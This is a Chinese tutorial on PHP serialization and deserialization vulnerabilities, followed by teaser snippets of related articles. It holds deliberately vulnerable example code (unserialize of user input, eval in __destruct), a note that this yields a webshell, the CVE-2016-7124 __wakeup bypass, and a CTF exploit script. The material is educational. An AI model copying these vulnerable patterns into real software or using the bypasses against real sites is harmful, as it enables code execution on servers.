详解php反序列化

1  前言

最近也是在复习之前学过的内容,感觉对PHP反序列化的理解更加深了,所以在此总结一下

2  serialize()函数

“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”

一开始看这个概念可能有些懵,但之后也是慢慢理解了

在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。

 $s = serialize($变量); //该函数将变量数据进行序列化转换为字符串
 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件

下面通过一个具体的例子来了解一下序列化:

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.'is'.$this->age.'years old. <br />';
  }
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = 'daye';

//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);

?>

这个是结果:

可以看到序列化一个对象后将会保存对象的所有变量,并且发现序列化后的结果都有一个字符,这些字符都是以下字母的缩写。

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

了解了缩写的类型字母,便可以得到PHP序列化格式

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

通过以上例子,便可以理解了概念中的通过serialize()函数返回一个包含字节流的字符串这一段话。

3  unserialize()函数

unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。

简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。

 $s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串)
 $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

通过一个例子来了解反序列化:

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.' is '.$this->age.' years old. <br />';
  }
}
//重建对象
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');

$user->PrintData();

?>

这个是结果:

注意:在解序列化一个对象前,这个对象的类必须在解序列化之前定义。否则会报错

4  PHP反序列化漏洞

在学习漏洞前,先来了解一下PHP魔法函数,对接下来的学习会很有帮助

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法

__construct  当一个对象创建时被调用,
__destruct  当一个对象销毁时被调用,
__toString  当一个对象被当作一个字符串被调用。
__wakeup()  使用unserialize时触发
__sleep()  使用serialize时触发
__destruct()  对象被销毁时触发
__call()  在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__get()  用于从不可访问的属性读取数据
__set()  用于将数据写入不可访问的属性
__isset()  在不可访问的属性上调用isset()或empty()触发
__unset()   在不可访问的属性上使用unset()时触发
__toString()  把类当作字符串使用时触发,返回值需要为字符串
__invoke()  当脚本尝试将对象调用为函数时触发

这里只列出了一部分的魔法函数,具体可见

https://www.php.net/manual/zh/language.oop5.magic.php

下面通过一个例子来了解一下魔法函数被自动调用的过程

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array('varr1','varr2');
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP();  //调用echoP()方法,输出"abc"
echo $obj;  //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>

这个是结果:

通过这个例子就可以清晰的看到魔法函数在符合相应的条件时便会被调用。

5  对象注入

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。

对象漏洞出现得满足两个前提:

一、unserialize的参数可控。

二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
下面来举个例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

比如这个列子,直接是用户生成的内容传递给unserialize()函数,那就可以构造这样的语句

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出lemon。

发现这个漏洞,便可以利用这个漏洞点控制输入变量,拼接成一个序列化对象。

再看一个例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
  }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

其实仔细观察就会发现,其实我们手动构造序列化对象就是为了unserialize()函数能够触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。

所以我们利用这个漏洞点便可以获取web shell了

6  绕过魔法函数的反序列化

wakeup()魔法函数绕过

PHP5<5.6.25
PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

百度杯——Hash

其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容

(1)绕过正则表达式对变量的检查
    (2)绕过_wakeup()魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php

那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:

(2)绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

编写php序列化脚本

<?php
class Demo {
  private $file = 'Gu3ss_m3_h2h2.php';

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != 'Gu3ss_m3_h2h2.php') {
      //the secret is in the f15g_1s_here.php
      $this->file = 'Gu3ss_m3_h2h2.php';
    }
  }
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo('f15g_1s_here.php');
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace('O:4:','O:+4:',$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(':1:',':2:',$a);
#再进行base64编码
echo base64_encode($a);
?>

以上就是详解php反序列化的详细内容,更多关于php反序列化的资料请关注我们其它相关文章!

时间: 2020-06-09

PHP多种序列化/反序列化的方法详解

摘要:序列化是将变量转换为可保存或传输的字符串的过程:反序列化就是在适当的时候把这个字符串再转化成原来的变量使用.这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性.. 序列化是将变量转换为可保存或传输的字符串的过程:反序列化就是在适当的时候把这个字符串再转化成原来的变量使用.这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性. 1. serialize和unserialize函数 这两个是序列化和反序列化PHP中数据的常用函数. <?php $a = array('a'

JSON PHP中,Json字符串反序列化成对象/数组的方法

如下所示: <?php //php反编码解析json信息 //json_decode(json字符串); $city = array('shandong'=>'jinan','henan'=>'zhengzhou','hebei'=>'shijiazhuang'); $jn_city = json_encode($city); //反编码json $fan_city = json_decode($jn_city,false);//第二个参数false则返回object类型,fals

详解PHP序列化和反序列化原理

0.前言 对象的序列化和反序列化作用就不再赘述,php中序列化的结果是一个php自定义的字符串格式,有点类似json. 我们在任何语言中设计对象的序列化和反序列化都需要解决几个问题 把某个对象序列化之后,序列化的结果有自描述的功能(从序列化的结果中知道这个对象的具体类型, 知道类型还不够,当然还需要知道这个类型所对应具体的值). 序列化时的权限控制,可以自定义序列化字段等,例如golang中的做的就非常方便. 时间性能问题:在某些性能敏感的场景下,对象序列化就不能拖后腿,例如:高性能服务(我经常

深入浅析PHP的session反序列化漏洞问题

在php.ini中存在三项配置项: session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处

php中序列化与反序列化详解

把复杂的数据类型压缩到一个字符串中 serialize() 把变量和它们的值编码成文本形式 unserialize() 恢复原先变量 eg: $stooges = array('Moe','Larry','Curly'); $new = serialize($stooges); print_r($new);echo "<br />"; print_r(unserialize($new)); 结果:a:3:{i:0;s:3:"Moe";i:1;s:5:&q

解析PHP多种序列化与反序列化的方法

序列化是将变量转换为可保存或传输的字符串的过程:反序列化就是在适当的时候把这个字符串再转化成原来的变量使用.这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性.1. serialize和unserialize函数这两个是序列化和反序列化PHP中数据的常用函数. 复制代码 代码如下: <?php$a = array('a'=> 'Apple' ,'b' => 'banana', 'c' => 'Coconut');//序列化数组$s = serialize($a);ech

php json与xml序列化/反序列化

在web开发中对象的序列化与反序列化经常使用,比较主流的有json格式与xml格式的序列化与反序列化,今天想写个jsop的小demo,结果发现不会使用php序列化,查了一下资料,做个笔记简单数组json格式序列化/反序列化 php提供了json_encode和json_decode函数对对象进行json格式序列化/反序列化操作 $data=array('Name'=>'Byron','Age'=>24,'Sex'=>'Male','Friends'=>array('Casper',

PHP 序列化和反序列化函数实例详解

序列化与反序列化 把复杂的数据类型压缩到一个字符串中 serialize() 把变量和它们的值编码成文本形式 unserialize() 恢复原先变量 1.创建一个$arr数组用于储存用户基本信息,并在浏览器中输出查看结果: $arr=array(); $arr['name']='张三'; $arr['age']='22'; $arr['sex']='男'; $arr['phone']='123456789'; $arr['address']='上海市浦东新区'; var_dump($arr):

PHP中SERIALIZE和JSON的序列化与反序列化操作区别分析

本文实例讲述了PHP中SERIALIZE和JSON的序列化与反序列化操作区别.分享给大家供大家参考,具体如下: PHP中SERIALIZE和JSON序列化与反序列化区别是什么呢,对于这个问题我们可以和小编一起来看看,具体的操作细节如下所示. 在PHP中,serialize和json两种方式对一个对象或数组进行序列化或反序列化有什么区别呢? 假设一个对象和一个数组: $web = new stdClass; $web->site = 'tantengvip'; $web->owner = 'tu

详解PHP中的序列化、反序列化操作

数据(变量)序列化(持久化) 将一个变量的数据"转换为"字符串,但并不是类型转换,目的是将该字符串存储在本地.相反的行为成为反序列化. 流程: //序列化 $str = serialize($r1); //保存到本地 file_put_contents("文本文件路径",$str); //从本地取出 $str2 = file_get_contents("文本文件路径"); //反序列化为之前的对象 $v1 = unserialize($str2)

详解Python中的序列化与反序列化的使用

学习过marshal模块用于序列化和反序列化,但marshal的功能比较薄弱,只支持部分内置数据类型的序列化/反序列化,对于用户自定义的类型就无能为力,同时marshal不支持自引用(递归引用)的对象的序列化.所以直接使用marshal来序列化/反序列化可能不是很方便.还好,python标准库提供了功能更加强大且更加安全的pickle和cPickle模块. cPickle模块是使用C语言实现的,所以在运行效率上比pickle要高.但是cPickle模块中定义的类型不能被继承(其实大多数时候,我们

详解Java中对象序列化与反序列化

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程.一般将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等.在网络传输过程中,可以是字节或是XML等格式.而字节的或XML编码格式可以还原完全相等的对象.这个相反的过程又称为反序列化. Java对象的序列化与反序列化 在Java中,我们可以通过多种方式来创建对象,并且只要对象没有被回收我们都可以复用该对象.但是,我们创建出来的这些Java对象都是存在于JVM的堆内存中的.只有JVM处于运行状态的时候,这些对

详解Mysql中的JSON系列操作函数

前言 JSON是一种轻量级的数据交换格式,采用了独立于语言的文本格式,类似XML,但是比XML简单,易读并且易编写.对机器来说易于解析和生成,并且会减少网络带宽的传输. JSON的格式非常简单:名称/键值.之前MySQL版本里面要实现这样的存储,要么用VARCHAR要么用TEXT大文本. MySQL5.7发布后,专门设计了JSON数据类型以及关于这种类型的检索以及其他函数解析. 下面一起来实际操作一下. 创建带有 JSON 字段的表 比如一个'文章'表,字段包括 id.标题 title.标签 t

微信小程序 详解Page中data数据操作和函数调用

微信小程序 详解Page中data数据操作和函数调用 Page() 函数用来注册一个页面.接受一个 object 参数,其指定页面的初始数据.生命周期函数.事件处理函数等. //index.js <pre code_snippet_id="2049407" snippet_file_name="blog_20161214_1_1145312" name="code" class="javascript">Page(

详解IIS中的重写工具下关于操作重定向URL中的{R:N}与{C:N}使用介绍

URL Rewrite(URL重写工具)作为IIS下较为常用的模块组件, 提供了重写.重定向.自定义响应.中止请求等功能.但是其相关的中文资料比较缺少,官方倒是有完整和详细的英文文档,之前我在项目中遇到需要设置重写/重定向URL操作规则时,对于范例中的{R:N}和{C:N}规则就理解的十分辛苦,因此写下本文分享下经验. 这里先附上官网的文档,其实文档链接在IIS的URL重写模块的右边菜单就有:URL Rewrite Module Configuration Reference(URL重写模块配置

详解python中的文件与目录操作

详解python中的文件与目录操作 一 获得当前路径 1.代码1 >>>import os >>>print('Current directory is ',os.getcwd()) Current directory is D:\Python36 2.代码2 如果将上面的脚本写入到文件再运行 Current directory is E:\python\work 二 获得目录的内容 Python代码 >>> os.listdir (os.getcwd

详解Java中AbstractMap抽象类

jdk1.8.0_144 下载地址:http://www.jb51.net/softs/551512.html AbstractMap抽象类实现了一些简单且通用的方法,本身并不难.但在这个抽象类中有两个方法非常值得关注,keySet和values方法源码的实现可以说是教科书式的典范. 抽象类通常作为一种骨架实现,为各自子类实现公共的方法.上一篇我们讲解了Map接口,此篇对AbstractMap抽象类进行剖析研究. Java中Map类型的数据结构有相当多,AbstractMap作为它们的骨架实现实

详解axios中封装使用、拦截特定请求、判断所有请求加载完毕)

•基于 Promise 的 HTTP 请求客户端,可同时在浏览器和 Node.js 中使用 •vue2.0之后,就不再对 vue-resource 更新,而是推荐使用 axios,本项目也是使用 axios •功能特性 •在浏览器中发送 XMLHttpRequests 请求 •在 node.js 中发送 http请求 •支持 Promise API •拦截请求和响应 •转换请求和响应数据 •取消请求 •自动转换 JSON 数据 •客户端支持保护安全免受 CSRF/XSRF(跨站请求伪造) 攻击

详解AngularJS中$filter过滤器使用(自定义过滤器)

1.内置过滤器 * $filter 过滤器,是angularJs中用来处理数据以更好的方式展示给我用户.比如格式化日期,转换大小写等等. * 过滤器即有内置过滤器也支持自定义过滤器.内置过滤器很多,可以百度.关键是如何使用: * 1.在HTML中直接使用内置过滤器 * 2.在js代码中使用内置过滤器 * 3.自定义过滤器 * * (1)常用内置过滤器 * number 数字过滤器,可以设置保留数字小数点后几位等 * date 时间格式化过滤器,可自己设置时间格式 * filter 过滤的数据一般